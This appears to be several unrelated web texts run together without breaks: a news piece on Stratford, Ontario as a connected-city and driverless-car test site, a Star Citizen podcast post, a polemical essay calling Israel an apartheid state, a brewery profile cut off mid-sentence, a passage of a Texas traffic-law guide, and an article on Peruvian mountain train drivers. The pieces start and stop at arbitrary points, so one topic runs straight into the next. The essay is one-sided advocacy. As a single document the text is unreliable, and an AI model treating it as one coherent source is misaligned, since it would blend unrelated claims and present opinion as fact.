Stratford, a city of about 31,000 people 150 kilometres southwest of Toronto, has been quietly building a connected city over the past decade. And today, it has roads that talk to street lights, signals that talk to cars and an industrially reliable wireless network that allows all those systems to feed data back to the tech companies operating there.
"In our minds, it's all essential infrastructure — just like a road and water is essential to people nowadays, so is electricity and connectivity," said Ysni Semsedini, the CEO of Festival Hydro in Stratford.
Years ago, Stratford launched a citywide Wi-Fi project. It laid at least 50 km of fibre optic cable and installed wireless antennas across the city. Soon enough, tech companies came looking for a real-world arena in which to test their products. Stratford's mayor, Dan Mathieson, says Cisco, Toshiba and other companies have come there to test ways of interconnecting everything from street lights and stop lights to parking spaces to each other and to the grid and are learning as they go.
'We're the petri dish.' - Stratford Mayor Dan Mathieson
Now, Stratford hopes to take advantage of new provincial rules governing the testing of autonomous cars.
"We've used lines like, 'We're the petri dish.' We've told people, 'We're Goldilocks. We're just the right size,'" Mathieson said.
He says it just makes sense to test driverless cars in a city that's surrounded by what's left of Canada's automotive industry. Stratford is already partnering with auto parts manufacturers and hopes to get vehicles cleared for testing as early as April.
A long way from Silicon Valley
QNX is one of the companies that stands to benefit from Stratford's initiative. Many of those autonomous cars are being powered, at least in part, by its software. The company says it already has elements installed in about 60 million cars.
A Festival Hydro worker installs a new access point, strengthening Stratford's already robust Wi-Fi network. (CBC News) But right now, for real-world testing, QNX has to travel to California. Derek Kuhn, an executive with QNX's parent company, BlackBerry, says it would be ideal to have an open testing facility so close to home.
"The fact that the folks that are setting the vision for Stratford are so open to embracing these new technologies [is absolutely critical]," says Kuhn, who is BlackBerry's senior vice-president for the internet of things, the catch-all term being used to describe the interconnectivity of the machines, appliances and infrastructure that we use in our daily lives.
At CES in Las Vegas, QNX is showing off two new technologies, in particular. The first is a heads-up display for interactive mapping. Imagine a map that appears on your windshield, augmenting your view with directions, traffic information and points of interest. The other is vehicle-to-vehicle, or V-to-V, chips that allow lights to talk to cars and cars to talk to each other — all while gathering data to feed back to central servers.
"It's really wireless technology that is at the heart of a lot of this because cars are now going to speak to each other, cars are going to speak to infrastructure, and by infrastructure, I mean streetlights," said Kuhn.
"You're approaching an intersection, and that light is going to turn red — the car's got to know and understand that it actually has to modify behaviour or input to make that red light."
So, much as street lights, lane markings and stop signs are essential to any road today, reliable wireless connectivity is just as important to the roads of tomorrow. Ready or not, the driverless car is coming. And the cutting edge technology in places like Stratford will quickly become a basic necessity as more of those cars hit the road in the years to come.INN’S INNSIDE THE ‘VERSE PODCAST, EPISODE 4!
Hello ‘Verse!
Check out the link to this week’s INNside the ‘Verse below!
Wolf Larsen is back this week, but Years1Hundred is out. Replacing him for this week’s podcast is AnalogDan, this week we have myself, Analog, Wolf, and Nehkara.
This weeks topics include:
AC 1.1
Monthly Report
Alien Languages
Standardization
Various FPS and PU mechanics
And more!
Unfortunately we recorded the podcast Saturday, before most of the excitement from PAX, so we did not discuss the awesome that was released there.
Fortunately, INN Contributor CmdrCruisinTom was able to get to PAX, where he secured us some Interviews, and some detailed coverage of the event, so check out our extended PAX coverage below!:
Kedhrin Gonzalez & Travis Day Interview (coming soon)
Event Liveblog
FPS Impressions (coming soon)
As well, a huge thanks to Bad News Baron for partnering with us on his livestream of the CIG event at PAX East. We’re extremely grateful he was able to partner with us to get a stream of the event going, and we’re proud to be able to present it in all its glory here below!
Bad News Baron Livestream recording
So long for now, and see you next week,
INNside the ‘Verse.Israel’s demand that Palestinians recognize it as a ‘Jewish State’ is a demand for legitimizing Apartheid and ethnic cleansing, and Palestinians certainly have a right to resist it. So does everyone else. No state has a ‘right to exist’ that renders invalid its actions and policies, just as the right to resist occupation does contain limitations on violence against civilians.
In one of their numerous breathtaking summations, Richard Falk and Virginia Tilley wrote in their recent UN report that the UN retracted:
“Finally, identifying apartheid as a regime clarifies one controversy: That ending such a regime would constitute destruction of the state itself. This interpretation is understandable if the State is understood as being the same as the regime. Thus, some suggest that the aim of eliminating Apartheid in Israel is tantamount to aiming to “destroy Israel”. However, a state does not cease to exist as a result of regime change. The elimination of the Apartheid regime in South Africa in no way affected the country’s statehood”. (UN Economic and Social Commission for Western Asia commissioned report, Israeli Practices towards the Palestinian People and the Question of Apartheid, P. 18.)
The claim that denying Israel’s “right to exist” is tantamount to seeking the complete annihilation of its (mostly Jewish) people has long sat at the core of Israeli apologia.
As Joseph Levine, professor of Philosophy at the University of Massachusetts, noted in his New York Times opinion piece titled ‘On Questioning the Jewish State’ (2013),
[T]he phrase “right to exist” sounds awfully close to “right to life,” so denying Israel its right to exist sounds awfully close to permitting the extermination of its people…
but he adds a crucial notion to his analysis:
The key to the interpretation is found in the crucial four words that are often tacked on to the phrase “Israel’s right to exist” — namely, “… as a Jewish state.”
This is indeed the core notion which sits behind this “right to exist”. The question is not about whether the State of Israel has a “right to exist” as such, as a sterile question void of any mention of ‘Jewish State’. As Ben White noted in his article on this subject (2015),
[N]o states have a “right to exist”, without exceptions. States come and go, are formed, and broken up. South Sudan was created in 2011. The USSR ceased to exist in 1991. Czechoslovakia became Slovakia and the Czech Republic in 1993.
The question is thus not really whether Israel has a “right to exist” as an absolute a-priori timeless question. Such a right doesn’t really exist in advance – states exist simply because they do, and they get recognized (or not) for their existence as an a-posteriori matter. Hence the question is, and must be: exist as what?
Here the demand to recognize Israel’s right to exist as a Jewish State is central to Israel’s demand for legitimacy as an Apartheid state. The demand for Palestinians to recognize Israel not merely for its existence (which they did by treaty already in 1993 Oslo accords), but also for its existence as a Jewish State, has been a central addition imposed by Netanyahu in his premiership from 2009 and on.
As Sari Nusseibeh, professor of Philosophy at Al Quds University in East Jerusalem, writes in his article ‘Why Israel can’t be a Jewish State’ (2011),
[R]ecognition of Israel as a “Jewish state” implies that Israel is, or should be, either a theocracy (if we take the word “Jewish” to apply to the religion of Judaism) or an apartheid state (if we take the word “Jewish” to apply to the ethnicity of Jews), or both, and in all of these cases, Israel is then no longer a democracy – something which has rightly been the pride of most Israelis since the country’s founding in 1948.
This is one of his many points in the article noting the problems of such a definition.
Nusseibeh’s argument is only made more stark when he establishes the distinction between racial and religious definitions of Judaism:
First, let us say that confusion immediately arises here because the term “Jewish” can be applied both to the ancient race of Israelites and their descendants, as well as to those who believe in and practice the religion of Judaism. These generally overlap, but not always. For example, some ethnic Jews are atheists and there are converts to Judaism (leaving aside the question of whether these are accepted as such by Ultra-Orthodox Jews) who are not ethnic Jews.
In effect, both notions do not hold fully, but the ‘Jewish’ notion of ‘Jewish state’ does, in the sense of an ethnic nation-state with a religious-mythical Jewish-nationalist notion. Hence, one could argue that Israel is a Jewish ethno-theocracy. The ‘religious’ notion is anyway applied as an ‘ethnic’ aspect for all practical purposes of the state, translating it to ‘nation’ (there is no Israeli nationality). Thus I would say that whichever way we turn it, Israel is an Apartheid state, by direct merit of its definition and application of ‘Jewish State’. Needless to say, such a state is not democratic.
Israel does not want to be ‘Jewish State’ just as ‘France is French’ (an analogy which both Nusseibeh and Levine apply and refute). Because, as Levine notes,
[W]hereas there is both an ethnic and a civic sense to be made of the term “French people,” the term “Jewish people” has only an ethnic sense.
Israel would have to be an “Israeli state” if it would want to apply for the analogy. But as mentioned, there is no Israeli nationality, so such an application is invalid. We can even attempt to be more generous, and suggest that Israel could be “Jewish” just as UK is “Christian”. Well, it could – but then a whole lot of things would need to happen. It would need to recognize an Israeli nationality, and it would need to reduce state religion to a mere anecdote which does not supersede, infringe upon or discriminate with respect to civil rights.
I am not even going as far as requiring Israel to follow the Norwegian model of complete separation of state and church, which Norway did in 2012. I am merely pointing out that Israel cannot be compared to the ‘western democracies’ that it seeks to compare itself with. Israel has singled itself out in so many ways, and continues to do so.
But the Palestinians – they are being asked to not only recognize Israel, which they already have. They are being demanded by Israel to recognize it as a Jewish State, with all that it entails – which includes their dispossession and Apartheid as intrinsic features.
As Norman Finkelstein wrote in Knowing Too Much,
[I]t might be recalled that although Mahatma Gandhi recognized the division of India as an “accomplished fact” that he was “forced to accept,” he adamantly refused to believe in a distinct Muslim nationalism and India’s “artificial partition” (p. 47).
It is precisely such ‘Jewish nationalism’ that Palestinians are being asked to recognize and effectively endorse.
Palestinians certainly have a right to resist such a demand. But this right is not recognized by Israel. Their refusal to recognize a Jewish State is conveniently read as intransigence – a convenient trick from the Israeli box of magic to turn public opinion against them. What can Palestinians do to resist their occupation? They can resort to armed resistance – but then they are considered “terrorists” by Israel, even if they attack purely military targets, and must suffer draconian backlash and collective punishment. They can resort to unarmed yet physical protest, as in peaceful marches – but Israel has military laws in order to quash these by violent means, and they are regularly applied. Then the Palestinians can protest in means which are so peaceful they don’t even require a march – boycotts, which are considered protected speech also in USA by virtue of the 1st Amendment and Supreme Court rulings. But to no avail – Israel considers it ‘diplomatic terrorism’ and fights it like it was a military confrontation.
So Israel wants no conditions placed on its “Jewish State”, whilst it wants all conditions placed on Palestinians (not to mention the Palestinian State which has always really been fiction for Zionists). By Israel’s standards, a Jewish State should be allowed its Apartheid, with no limitations, while resistance to it can have no real outlet.
So like the Palestinian occupied territories geographically, everything is walled in for Palestinians in terms of resistance, as far as Israel is concerned. No options are left; and it is not enough to recognize the occupier. It is necessary to bow to it, and to recognize its ethnic-religious superiority, the same superiority by which it kills, maims and dispossesses you. To kiss the ground and declare the Jews your masters, with their ‘Jewish State’.
How much anti-Semitism will this end up generating? How long will Israel be able to hold its claim that anyone who resists Israeli Apartheid in the name of Jewish State is an anti-Semite?
Once, the notion of Apartheid as pertaining to Israel was a taboo notion. It has become far more discussed today. The notion of Genocide, nonetheless, is still more contentious. But former Israeli Minister MK Shulamit Aloni all but spelled out Israeli genocide in 2003, in her article ‘Murder Under the Cover of Righteousness’. Here she concludes:
“So it’s not yet genocide of the terrible and unique style of which we were past victims. And as one of the smart Generals told me, we do not have crematoria and gas chambers. Is anything less than that consistent with Jewish ethics? Did he ever hear how an entire people said that it did not know what was done in its name?”
“Jewish State” is doing what it does in the name of Jews. You cannot get around that one, it’s in the name, in the definition. It’s doing what it does to all Palestinians in Jews’ names. That is, a global population of roughly 25 million people (Jews and Palestinians) are complicit or affected. Then there is every other person of conscience. It is upon us to resist this.
As Falk and Tilley noted in the UN report, ending the Apartheid regime would NOT constitute destruction of the state itself. Israel could potentially be as Jewish as UK is Christian (although I would much prefer it to separate religion and state like Norway). But there are no compromises with Israel on these terms; and that means Apartheid.
No state has a “right” to commit crimes against humanity. Genocide and Apartheid are the two of the gravest of them. And if a regime’s existence is based upon the continuance of these crimes? Then the regime has no right to exist.As you first step foot into the taproom at Foolproof Brewing in Pawtucket, RI, you’re met with a giant wooden cutout of the company's iconic jester mask. The jester, as well as the name, all play a part in the business model behind this young and growing brewery: having fun.
When we brew each beer, we think about specific life experiences and what style of beer would be absolutely perfect for that particular occasion.
Nick Garrison, founder and owner of Foolproof, explained the name as a play on words: the “fool” paying homage to the jester and representing fun, while “proof” represents the alcohol content in their growing variety of craft beers.
The Brewer/Founder
Nick Garrison set out to create what has now become Foolproof Brewing back in 2008. An avid homebrewer, his wedding took place right around the peak of his homebrewing interest. He served his own brews to family and friends at the reception, and many encouraged him to take the next step into professional brewing once they found out he was the mastermind behind the ales.
Garrison took the idea to heart, and while visiting a brewpub in Canada while on his honeymoon, a passing comment from his wife caused the epiphany that started it all. He hit the ground running upon returned home and never looked back.
Garrison left his previous life in marketing and set out to combine his passions for beer and entrepreneurship. In May 2012, he and his team moved into their current building at 241 Grotto Avenue and brewed their first batch that December. As the company quickly grew, Garrison found himself leaving most of the brewing to his brewmasters and took over the business end of the endeavor.
“I tell people I left an office job to run a brewery, only to be back in an office,” Garrison joked.
Although he admits running a brewery isn’t all “rainbows and butterflies” like some people might think, it’s been a very rewarding job and a lot of fun.
Like other craft breweries, it’s tough to be different when there are so many other people trying to be different all at once. The industry is rapidly changing and growing, but Garrison said there is still plenty of collaboration and friendship.
“It’s unlike any industry I’ve ever seen,” he said. “Whenever you need some extra supplies or just some advice, there’s usually plenty of people out there willing to lend you a hand.”
Brewery Background
Now in its third year of operation, the 30 barrel brewhouse features four 30-bbl tanks and five 60-bbl tanks, making them the largest brewery by volume in the state of Rhode Island.
Roughly 65% of Foolproof’s production is canned in-house (their canning line can package a case per minute) while the rest of their beer is distributed in kegs.
Garrison said they chose canning because of both the technical and practical benefits. On the technical side, cans allow less oxygen and sunlight into the container and are also more environmentally friendly. On the practical side, cans are much more portable for picnics, cookouts, a hiking trip or any other on-the-go activity and they won’t break if you drop them.
Along with the always-expanding production side of the brewery, the taproom has also undergone recent renovations to nearly double its size. Here, customers can enjoy a tasting of the company’s staple selections, as well as some oddities that don’t make it into general production.
The brewers are constantly experimenting and trying new things with different combinations of ingredients. This helps Foolproof set itself apart from the rest of the regions craft breweries.
Some notable flavors to hit the shelves this past year include:
Shuckolate - a Chocolate-Oyster Stout
Peanut Butter Raincloud - a Peanut Butter Porter collaboration with neighbors Nuts ‘N More
Queen of the Yahd - a raspberry IPA (Garrison is confident this will be the first of its kind)
A major driver behind all the work done by the guys at Foolproof is the concept of “experience-based brewing.” This means they aren’t formulating and crafting cookie-cutter recipes, but thinking about what the consumer will be doing.
“When we brew each beer, we think about specific life experiences and what style of beer would be absolutely perfect for that particular occasion,” says the company's website.
Whether it’s Backyahd, their India Pale Ale meant for warm summer days grilling in the backyard with friends; Raincloud, the robust porter for those rainy days; or Garrison’s personal favorite, Barstool, an American Golden Ale meant for a night out with the boys, you’ll always have the right beer for the right occasion.
The Future
Branding and expanding a customer base are challenges faced by all small businesses, and Foolproof Brewing is no exception. The company’s branding has been discussed, but they also put a lot of effort in attracting new customers whenever possible.
Customer interaction is key to this growth, and |
anyway. Also be sure to see the section about "flush median islands" in the lane markings section above.
Similar to driving across the median, it is also illegal to cross private property for the purpose of turning left or right from one road to another. In other words, it's illegal to cut-through that gas station or shopping center on the corner so you don't have to stop at the stop sign or red light or to avoid the line of cars waiting at the intersection.
Yielding on frontage roads §545.154 - VEHICLE ENTERING OR LEAVING LIMITED-ACCESS OR CONTROLLED-ACCESS HIGHWAY An operator on an access or feeder road of a limited-access or controlled-access highway shall yield the right-of-way to a vehicle entering or about to enter the access or feeder road from the highway or leaving or about to leave the access or feeder road to enter the highway. This law is quite simple: if you're on the frontage road (a.k.a. access road, feeder road, service road, or gateway) of a freeway or expressway, then you must yield to traffic exiting or entering the freeway or expressway. This law covers all entrance and exit ramps, even if there are no yield signs. There is an exception-- when traffic exiting the freeway has its own added lane that is separated from the other frontage road lanes with a double-white line, then no yield is required since the exiting vehicles will become established in their lane on the frontage road (and thus are no longer considered exiting) by the point at which they are allowed to move cross the other frontage road lanes. At that point, the regular lane change laws apply. When required to yield, though, note that yielding does not necessarily mean stopping (see next topic below.)
Yield vs. stop §544.010 - STOP SIGNS AND YIELD SIGNS (a) Unless directed to proceed by a police officer or traffic-control signal, the operator of a vehicle or streetcar approaching an intersection with a stop sign shall stop as provided by Subsection (c). (b) If safety requires, the operator of a vehicle approaching a yield sign shall stop as provided by Subsection (c). (c) An operator required to stop by this section shall stop before entering the crosswalk on the near side of the intersection. In the absence of a crosswalk, the operator shall stop at a clearly marked stop line. In the absence of a stop line, the operator shall stop at the place nearest the intersecting roadway where the operator has a view of approaching traffic on the intersecting roadway. §545.153 - VEHICLE ENTERING STOP OR YIELD INTERSECTION (a) Preferential right-of-way at an intersection may be indicated by a stop sign or yield sign as authorized in Section 544.003. (b) Unless directed to proceed by a police officer or official traffic-control device, an operator approaching an intersection on a roadway controlled by a stop sign, after stopping as required by Section 544.010, shall yield the right-of-way to a vehicle that has entered the intersection from another highway or that is approaching so closely as to be an immediate hazard to the operator's movement in or across the intersection. (c) An operator approaching an intersection on a roadway controlled by a yield sign shall: (1) slow to a speed that is reasonable under the existing conditions; and (2) yield the right-of-way to a vehicle in the intersection or approaching on another highway so closely as to be an immediate hazard to the operator's movement in or across the intersection. (d) If an operator is required by Subsection (c) to yield and is involved in a collision with a vehicle in an intersection after the operator drove past a yield sign without stopping, the collision is prima facie evidence that the operator failed to yield the right-of-way. There's a reason for having two different signs. "Stop" means that you must come to a complete stop, period. "Yield", however, doesn't always mean that you have to stop. Instead, a yield sign means that you must give the right-of-way to other traffic by slowing or stopping as necessary. You can satisfy the requirement to yield by just slowing down enough to let the other guy go by unmolested. If you can clearly see nobody is coming, then you can just proceed without slowing or stopping. So, if you're approaching a yield sign, start looking early and if the way is clear, just keep going. However, if it is necessary, you are indeed required to stop at a yield sign. Footnote
Unfortunately, in many areas, it often seems that yield signs are placed where there should be stop signs and vice-versa. Europe overwhelmingly prefers yield signs; the US is ridiculously riddled with unnecessary stop signs.
Four-way stops
A lot of people might be surprised, but there is no specific Texas state law regarding who goes first at a four-way or all-way stop. The only applicable law states that drivers must stop and may enter the intersection only when it is safe to do so (§545.151). So that leaves the right-of-way assignment up to the drivers. To that end, there is a widely accepted convention that most drivers use to remove the guesswork. Basically, it's first-come, first-served. Implementing it is easy: when you stop at an all-way stop, look around and see who's already stopped. When they've all gone, it's your turn! If two or more people get there at the same time, then the protocol is that the person on the right should go first, and it should follow clockwise from there.
Be aware, however, that some municipalities as well as other states do have laws that codify the order above.
Also note that there are times when a driver doesn't necessarily have to wait for their turn. For instance, if you're the last to arrive at an intersection with cars already stopped on the other three approaches and you want to turn right, you could go immediately if the driver on your right starts to turn left or if the driver across from you goes straight since those movements don't conflict with yours and provide "cover" for you while you're turning.
Don't back-up on the freeway §545.415 - BACKING A VEHICLE (b) An operator may not back the vehicle on a shoulder or roadway of a limited-access or controlled-access highway. Never, ever back-up on the freeway, even on the shoulder! Besides being illegal, this is extremely dangerous! Traffic is coming toward you at high-speed, and if you're backing-up, you're essentially going the wrong way and risk the equivalent of a head-on collision. If you miss your exit, just drive to the next exit, turn around, and go back. In most cases, you'll only lose a couple of minutes. Next time, make sure you know where you're going and pay attention to the signs.
Move minor accidents out of traffic §550.022 - ACCIDENT INVOLVING DAMAGE TO VEHICLE (a) Except as provided by Subsection (b), the operator of a vehicle involved in an accident resulting only in damage to a vehicle that is driven or attended by a person shall: (1) immediately stop the vehicle at the scene of the accident or as close as possible to the scene of the accident without obstructing traffic more than is necessary; [...] (b) If an accident occurs on a main lane, ramp, shoulder, median, or adjacent area of a freeway in a metropolitan area and each vehicle involved can be normally and safely driven, each operator shall move the operator's vehicle as soon as possible to a designated accident investigation site, if available, a location on the frontage road, the nearest suitable cross street, or other suitable location to complete the requirements of Section 550.023 and minimize interference with freeway traffic.
[...]
(d) In this section, a vehicle can be normally and safely driven only if the vehicle: (1) does not require towing; and (2) can be operated under its own power and in its usual manner, without additional damage or hazard to the vehicle, other traffic, or the roadway. Have you ever been caught in a traffic jam only to find that it was caused by a minor fender-bender blocking a lane and everyone is standing around waiting for the police? Maybe you've thought to yourself, "there oughta be a law..." Well, there is. The law requires that anyone involved in an accident not obstruct traffic any more than is necessary. The law even specifically requires that, if an accident occurs on a freeway or freeway ramp in a metropolitan area and all involved vehicles can be safely driven, the motorists involved must move their vehicles off of the freeway immediately. This is to help prevent a traffic hazard and resulting congestion which, besides unnecessarily delaying others, also increases the likelihood of other accidents. Many people think that their insurance won't cover them if they move their cars from the scene before the police arrive, but this is absolutely false. The police and insurance adjusters can usually determine what happened based on the stories of those involved and the damage to the vehicles. Besides, in the case of most fender-benders, you legally don't even need to have the police come to the scene. But if you're worried, then quickly snap some photos of the scene and vehicles with your cell phone camera before you move out of the way.
Driving on the shoulder §545.058 - DRIVING ON IMPROVED SHOULDER (a) An operator may drive on an improved shoulder to the right of the main traveled portion of a roadway if that operation is necessary and may be done safely, but only: (1) to stop, stand, or park; (2) to accelerate before entering the main traveled lane of traffic;
(3) to decelerate before making a right turn;
(4) to pass another vehicle that is slowing or stopped on the main traveled portion of the highway, disabled, or preparing to make a left turn;
(5) to allow another vehicle traveling faster to pass;
(6) as permitted or required by an official traffic control device; or
(7) to avoid a collision A common question I get, especially for newcomers to Texas, is whether it is legal to drive on the shoulder of a two-lane highway to allow other cars to pass as they have seen people doing. The answer is yes, it is, as declared in (a)(5) above. You'll find that many long-time Texans will automatically move onto the shoulder when a faster car comes up behind them on a two-lane road. It's just a common courtesy and helps the other person to pass them safely. However, there are some requirements to do this-- the shoulder must be wide enough and free of debris or stalled or parked vehicles (it is generally illegal to park on highways outside of business or residential districts). If you do move onto the shoulder to allow someone to pass, reduce your speed a bit, keep a sharp eye out for any obstructions ahead, and move back into the main through lane as soon as it is safe to do so. You are also allowed to briefly drive on the shoulder to pass a vehicle that is slowing or has stopped in the main lane to turn left or has stalled. Additionally, you can also drive on the shoulder to slow down to turn right, to speed up after turning onto the highway or after having stopped on the shoulder, or to avoid a collision (duh.) You are not allowed to drive on the shoulder to overtake another moving vehicle (except as provided above). In other words, if the vehicle you are following will not move onto the shoulder to allow you to pass, then you must pass them on the left when it's legal and safe to do so. Using the shoulder to turn right in heavy traffic
One other frequent question is about using the shoulder to pass a long line of stopped traffic if you want to turn right at a driveway or the next intersection. Section (a)(4) above, on its face, does seem to allow for this. The main sticking point is the phrase "if that operation is necessary". The statute doesn't define what "necessary" is. However, there is case law that addresses this specifically. In Lothrop v. The State of Texas (2012), the Texas Court of Criminal Appeals (which is the supreme court in Texas for criminal cases) ruled that "necessary" had to be taken in context of the seven permissible reasons to drive on the shoulder. In other words, if you have to drive on the shoulder to pass a vehicle stopped in the main lane (as opposed to passing them on the left, for example), then that qualifies as "necessary". The other stipulation is that the maneuver be done "safely". Again, the law does not define this specifically, so it's open to interpretation. Typically, if there is no collision, then that could be considered prima facie evidence that it was done safely. A more affirmative defense would be that the driver ensured the shoulder was clear of obstructions and that they drove slowly. (My recommendation would be 20 mph-- if it's considered safe for a school zone, it's certainly safe enough for passing stopped vehicles.) Many officers I've spoken with tell me that because of the uncertainty of this law, they usually won't cite for this or they will only cite someone who does this egregiously; for example, someone who is racing down the shoulder (which seems to violate the "be done safely" stipulation as discussed above), someone who gets on the shoulder well before the back of the line (because you're not actually passing any vehicles at that point), or someone who continues on the shoulder through an intersection. (Those all seem like good reasons to me to get a ticket.) But some officers and departments will always cite for this and leave it to a judge to decide. In short, while statutory and case law seems to allow this, it still seems to be a bit of a gray area in some jurisdictions, so YMMV and you should do this at your own risk.
U-turns
§545.102 - TURNING ON CURVE OR CREST OF GRADE
An operator may not turn the vehicle to move in the opposite direction when approaching a curve or the crest of a grade if the vehicle is not visible to the operator of another vehicle approaching from either direction within 500 feet
It seems everyone has a different idea of what is legal and isn't regarding U-turns. There is only one state law specifically regarding U-turns: §545.102, which prohibits a U-turn if you are not visible within 500 feet of approaching traffic. Otherwise, U-turns are allowed anywhere as long as there is not a sign or local ordinance prohibiting it. However, many municipalities have ordinances limiting U-turns in specific areas, such as in business districts or at signalized intersections, and these restrictions may not be not signed. Check with your local police or traffic engineering department to see if there are any such ordinances in your city.
If you want to make a U-turn at a traffic light, you cannot do so unless the left turn signal is green or, if there is no left turn signal, the light for through traffic is green. Whenever you make a U-turn, you must, of course, yield to oncoming traffic just as if you were making a left turn. If you make a U-turn with a green signal, anyone wanting to make a right-on-red is required to yield to you, but keep in mind that they may not realize you're making a U-turn until they've started making their turn, so be prepared to yield to them.
Don't stop on entrance ramps
Unless traffic on the freeway is completely stopped or you can't merge and there is no place else for you to go, do not ever stop on a freeway entrance ramp! This is an extremely serious traffic hazard. Drivers behind you are speeding-up to get up to freeway speed and are looking back up the freeway for a gap to merge into. They are not expecting you to stop! If you can't squeeze into traffic by the time you get to the end of the ramp, make sure your left turn signal is on and carefully continue on the shoulder (if it's clear) until you can safely merge into the traffic stream. Be helpful to traffic entering the freeway
If you're in the right lane of a freeway and see traffic preparing to merge, move over or make room for them to merge into. Although the law requires traffic entering the freeway to yield (basic right-of-way law, §545.151), good drivers make the effort to help-out other motorists. Merging from the shoulder
If you stop on the shoulder to change a flat tire or deal with some other emergency and you’re ready to get back on the freeway, get up to speed on the shoulder, then signal left and merge into traffic. Do not pull from a standing stop directly onto the freeway’s main lanes. This very action killed a mother and van full of children west of Ft. Worth back in the mid ‘90s.
Drive right, pass left §545.051 - DRIVING ON RIGHT SIDE OF ROADWAY (b) An operator of a vehicle on a roadway moving more slowly than the normal speed of other vehicles at the time and place under the existing conditions shall drive in the right-hand lane available for vehicles, or as close as practicable to the right-hand curb or edge of the roadway, unless the operator is: (1) passing another vehicle; or (2) preparing for a left turn at an intersection or into a private road or driveway. Before I explain this one, let me ask you this: where is the fastest water in a river? In the middle, of course. Why? Because this is the place with the least friction. This is the deepest part of the river and there are no ragged edges or shallow bottom to slow the water. A highway conceptually works the same way (think of it as a two-way river.) The right lane has the most "friction": entering and exiting traffic, stalled vehicles on the shoulder, etc. The left lane has virtually no friction. That is why it is reserved for faster-moving traffic. Imagine this scenario: you're in the left lane on the freeway going faster than other traffic and you come up behind someone going a little slower than you. Instead of waiting a few seconds for them to move over, you whip around them on the right. At the same time, someone going much slower than you is trying to get on the freeway at the same location. Now, both of you are creating a big hazard for each other and someone is going to have to give. This is why (a) you shouldn't pass on the right; and (b) you should move to the right if you're traveling slower than other traffic. The second part applies no matter how fast you are going. Notice that the law only says that traffic moving "more slowly" than other vehicles; there is no exception given for vehicles traveling the posted speed limit. If you're going the speed limit in the left lane and someone behind you wants to go faster, move over! You don't have any right to enforce the law (that's called vigilantism) and you're actually violating the law by not moving over. You never know-- that person may have a bona fide emergency. On the other hand, if you're the one behind the slower driver, have a little patience and give them a few seconds to realize you're there and to move over before you zip around them. I can't count the number of times I've seen someone in the left lane who wanted to move over but got trapped there because everyone immediately passed them on the right. Plus, the weaving of drivers who are constantly passing other vehicles causes hazards and the turbulence caused by those frequent lane changes is a frequent cause of so-called "phantom" traffic jams.
Right-of-way when changing lanes §545.061 - DRIVING ON MULTIPLE-LANE ROADWAY On a roadway divided into three or more lanes and providing for one-way movement of traffic, an operator entering a lane of traffic from a lane to the right shall yield the right-of-way to a vehicle entering the same lane of traffic from a lane to the left. This is probably one of the least-known laws. When someone from the left lane and someone from the right lane both try to move into the same space in the center lane at the same time, who should yield the the right-of-way? In Texas, the law is that the person changing lanes from right to left must yield to someone trying to enter the same lane from the left. The reason why the left lane driver has priority is because the they may be moving over to allow another vehicle to pass, because they're getting ready to exit, or because they have an emergency and need to move to the shoulder. One lane at a time
Although there’s no law requiring it, you should only change one lane at a time. If you need to get across several lanes, move over one lane, establish yourself in that lane for a few seconds, then move over to the next lane. And don't forget your turn signal each time as required by §545.104!
Advisory speeds
What is the speed limit on the curve marked by the sign at the left? Most people would say 25 mph, but the answer is that we don't have enough information to know what the speed limit is here. The "25 mph" sign here is a speed advisory sign, not a speed limit sign. Speed advisory signs indicate the recommended speed for a particular hazard, but they are not a legal speed limit. Enforceable speed limits are marked by the familiar black and white SPEED LIMIT signs. So, the speed limit for this curve would be whatever the last black and white speed limit sign indicated (or the default speed limit for that type of roadway in the absence of a speed limit sign.) Despite that, it is a good idea to travel at or near the speed indicated on these signs-- you could still be cited for unsafe speed if you're traveling appreciably faster than what is posted, especially if you crash. It's also worth noting that advisory speeds and warning signs in construction zones can be enforced per § 472.022 of the Transportation Code; this is why the seemingly superfluous "OBEY WARNING SIGNS - STATE LAW" signs are posted at the beginning of work zones. Additional information
A study by the Federal Highway Administration back in the '90s determined that the formula used to calculate the advisory speeds on curves, which was developed back in the 1930s, was significantly outdated and was producing advisory speeds that were 10-15 mph below what modern vehicles can safely and comfortably handle. New methods and procedures for improving the setting of advisory speeds have been developed and many states are now updating advisory speed signs. If you are used to ignoring advisory speeds because they seemed too low, you'll need to start paying more attention to them.
Passing a funeral
Across most of the state, especially in rural areas, it is the convention for drivers, out of respect for the deceased, to pull-over and stop while a funeral passes by. I suspect that as a result, many folks think that it is actually the law to do so. In fact, it is not. Also, while many states have laws that require drivers to yield to a funeral procession, Texas has no such law. However, funeral processions are usually escorted by peace officers, and obviously if they indicate for you to yield, then you must do so. Otherwise, if you're driving down the road and a funeral procession approaches, you are not obligated by the law to pull over. If you wish to do so, be sure to pull completely off the road so if others want to continue on, they can do so safely.
Other sites of interest Texas Transportation Code
http://www.statutes.legis.state.tx.us/?link=TN Texas Department of Public Safety's Driver's Manual
http://www.dps.texas.gov/internetforms/Forms/DL-7.pdf Texas Manual of Uniform Traffic Devices
http://www.dot.state.tx.us/txdot_library/publications/tmutcd.htm Read Your Road
http://safety.fhwa.dot.gov/ped_bike/docs/ryr.pdf Real World Driving Tips
http://www.ibiblio.org/rdu/drv-tips.html Defensive Driving: 70 Rules to Live By
http://www.roadtripamerica.com/DefensiveDriving/Drive-Safe-With-Uncle-Bob.htmIt takes both skill and courage to control huge locomotives laden with mineral ore as they wind up and down the Andes mountains - making Peru possibly the toughest country in the world to be a train driver.
The Ferrocarril Central Andino (FCCA) travels from sea level to the mines at Cerro de Pasco, one of the highest cities in any country, at 14,200ft (4,330m) above sea level.
The ascent, on some of the steepest tracks in the world, is a slow grind, but the real skill is in bringing the fully loaded locomotive back down to the Pacific coast, west of the capital Lima.
"You need to have nerves of steel," says driver Daniel Garcia Zegarra. "This is how you need to treat the train, caress it little by little, no roughness, but slowly."
Up in the mountains, the railway tracks have few signals or even safety barriers to guard against the sheer drop. The slightest error from a driver could prove disastrous.
Once the brakes failed... We ended up travelling at 130km/h
"The train would derail and go down the cliff," says Ameliano, the train's brequero, or brake man, who has the crucial role of adjusting the large mechanical brakes.
The rear wagons of the 200m-long train are often out of the driver's sight as the route zig-zags, and its weight when fully laden with trucks and cargo can approach 2,500 tons.
There is a constant fear of derailing and falling down the mountainside.
"Once the brakes failed," says Ameliano. "We ended up travelling at 130km/h. We crashed into a tunnel.
"I took cover in the second wagon and I survived. The driver died, jumping out as the train derailed."
Daniel remains constantly alert, maintaining a steady speed to avoid possible disaster.
The air is thinner at such high altitude and the engine can stall if it is running too slowly.
